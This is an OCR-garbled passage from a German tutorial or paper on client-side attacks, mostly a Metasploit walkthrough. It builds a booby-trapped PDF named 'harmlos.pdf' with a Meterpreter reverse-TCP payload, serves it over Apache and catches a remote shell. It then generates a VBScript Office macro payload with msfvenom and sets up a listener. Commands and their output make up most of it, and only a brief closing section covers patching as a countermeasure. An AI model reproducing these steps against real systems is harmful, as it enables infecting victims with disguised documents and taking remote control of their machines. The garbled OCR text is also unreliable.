tional auf einen beliebigen Dateinamen gesetzt werden, harmlos.pdf. Die benétigte Option ist der
Pfad zu einer PDF im INFILENAME. Man wabhlt eine beliebige PDF-Datei aus, zum Beispiel die U-
ser_Malual pdf von Metasploit.

msf exploit( ) > set FILENAME harmlos.pdf

FILENAME => harmlos.pdf

msf exploit( ) > set INFILENAME /usr/share/set/readme/User Manual.pdf
INFILENAME => /usr/share/set/readme/User Manual.pdf

msf exploit( ) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse_tcp

msf exploit (adobe ) > set LHOST 192.168.1.216

LHOST => 192.168.1.216

msf exploit( ) > exploit
Reading in '/usr/share/set/readme/User Manual.pdf'...
Parsing '/usr/share/set/readme/User nual.pdf'...
Using 'windows/meterpreter/reverse as payload...
Parsing Successful. Creating 'harmlos.pdf' file...

[+] harmlos.pdf stored at /root/.msf4/local/harmlos.pdf

Beim ausfiihren des Exploits generiert Metasploit eine PDF, die wir jetzt noch zum Herunterladen
bereitstellen miissen. Dazu kopiert man die Datei zum Apache web Server und startet diesen.
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Zusatzlich wird noch eine weitere Nutzlast benétigt. Wir benutzen eine Standard Nutzlast von Meta-

sploit, reverse_tcp.

/root/.msf4/local/harmlo

pdf /var/www

) > service apache2 start

Starting wi
msf ploi > multi/handler

3 meterpreter/re
payloa
msf
LHO
msf

ploit (ha

Starting the

Der Client ruft dann einfach die URL auf.

Adresse |ﬁj http:ff192.168.1.216/harmlos.pdf

&~

Launch: c:windows\system32icmd.exe

The application "c:\windows\system32\cmd. exe 1 C %HOMEDRIVE Yeicd

! FoHOMEPATH¥8(f exist "DeskitopiUser_Manual. pdf" {cd "Deskbop"yi&(if exist
"My DocumentsiUser_Manual. pdf" {cd "My Documents"]RdF exist
"DocumentsiUser_Manual pdf" {od "Documents")i3F exist |
"EscritorioiUser_Manual. pdf" {cd "Escritorio™))eif exist "Mis
DocumentosiUser_Manual pdf" {od "Mis Documentos"ié(start
User_Manual. pdf)

Ta view the encrypted content please tick the "Da not show this message
again” box and press Open." is set ko be launched by this PDF file. The File may
contain programs, macros, o viruses that could potentially harm your
computer, Only open the file if you are sure it is safe, IF this file was placed by
a trusted person o program, you can click Open to view the file,

[[] o not show this message again

Q Downloading (1,62 MB of 1,65 ME) : httpi /192, 168.1,216fharmlos, pdf # Unbekannte Zone

Abbildung 14: Warnung - Adobe Acrobat Reader

Meterpreter sion 1 opened (192.168.1.216:4444
meterpreter > shell

reated.
Channel 1 created.
Microsoft Windov
(C) Copyright 1

P [Version 5.1.2600]
-2001 Microsoft Corp.

pdf /var/www

Wenn die boswillige PDF gedffnet
wird muss der User nur noch der
Anweisung folge und auf "Open"
klicken um die eingebetteten Daten
auszufihren. So bald Open in der
Warnung angeklickt wurde, wird die
Nutzlast ausgefiihrt und man be-
kommt eine Sitzung.

-> 192.168.1.205:1082)
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5.2.2 Metasploit Exploit Option - Microsoft Office Exploit - VBScript

Visual Basic Script (auch VBS oder VBScript genannt) ist eine Skriptsprache die von Microsoft entwi-
ckelt wurde. [15]

Metasploit hat ein paar eingebaute Methoden, die man dazu verwenden kann, um Microsoft Word-
und Excel-Dokumente mit bésartigem Programmcode zu infizieren.

Dazu wird als erstes die VBScript Nutzlast erstellt.

msf > msfvenom -
LPORT=8080

shikata_ga_nai succeeded with size 317 (iteration=1)
Thhxhhkhhkhhkhhkhhrhhkhhkhhkhkhhkhhkhhkhhhhkhhkrhkr ko hhkhkhkhkkhkhkhkhkhhkhhhkkkhhkhkxkxkkk
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document macro editor.
'* 2. The Data. The hex dump at the end of this output must be appended to the document.

Tk
Tokkkdkkhkkdkkkdokhdkkdkkdkhdkkhdkkhkkdkkhdokhdkkhkkdkhk ok ks kkkkdkkdokkkkkk
'* MACRO CODE
Tokkkdkkhkkdkkkdokhdkkdkkdkkhdkkhdkkhkkdkkkdkokhdkkhkkkdkhkkhdkkhdkkdkkdokkkkkk
Sub Auto_Open ()

Iynurl2

*-——snip---*

Tohkkhkkhkhhhhkhhkhhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkkhkkhkk k& k& k& **

&HO0&H03&HO00&H00&HO0&H04&H00&H00&HO

*-——snip---*

Wie die Meldung sagt, ist das Skript in 2 Teile aufgeteilt, die man in ein Word oder Excel Dokument
einbetten muss. Der erste Teil des Skripts, der Macro Code, wird als Makro erstellt und der zweite
Teil, die Payload Data, wird an das Dokument selber angehangt.

Bevor dann das so gewonnene Dokument an das System, auf dem der Exploit ausgefiihrt werden soll
Ubertragen und ge6ffnet wird, muss noch eine Nutzlast konfiguriert werden.

msf > use exploit/multi/handl

msf exploit( ) > set PA

PA => windows/meterpret

msf exploit(

LHOST => 192.168.1.216

msf exploit( ) > set LPORT 8080
LPORT => 8080

msf exploit(

Started reverse handler on 192
Starting the payload handler...

Offnet das attackierte System jetzt das scheinbar harmlose Word Dokument, hdngt sich die Word
Anwendung auf und wir erhalten eine Meterpreter Session.
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6 GEGENMASSNAHMEN

Um sich vor Client Side Attacks zu schiitzen sollte man immer sichergehen, dass das Betriebssystem
des Computer und seine Anwendungen auf dem neusten Update stand sind.

Abbildung 15: Patchen - PraventivmaRnahme gegen Exploits

Diese praventive MaBnahme des Updatens kann die Wahrscheinlichkeit verringern, dass die eventu-
elle Sicherheitsanfalligkeit fir einen erfolgreichen Angriff genutzt werden. Es wird verhindert, dass
bekannte und gepatchte Sicherheitsliicken ausgenutzt werden kdnnen.

Softwarehersteller veréffentlichen regelmaRig Updates um bekannte Sicherheitsliicken zu schlieRRen.
Solche Updates sollten unmittelbar nach ihrer Veroffentlichung installiert werden um bestehende
Sicherheitsliicken zu schlieRen. Insbesondere bei Web-Browsern und Plugins ist die Aktualisierung
durch Updates ein wichtiger Schutz.

Flr einen Zero Day Exploit gibt es keinen Schutz, es wird geraten die aktuellen Angriffstrends und
Verfahren zu beobachten, um sich gezielt schiitzen zu konnen.
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